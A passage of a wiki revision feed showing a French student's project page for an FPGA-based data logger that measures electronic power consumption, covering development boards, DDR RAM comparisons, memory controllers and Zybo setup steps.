[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27521</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27521"/>
				<updated>2016-02-22T09:23:37Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* LX9 MicroBoard */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6  et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27520</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27520"/>
				<updated>2016-02-22T09:19:32Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Étude de la carte TE0603 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
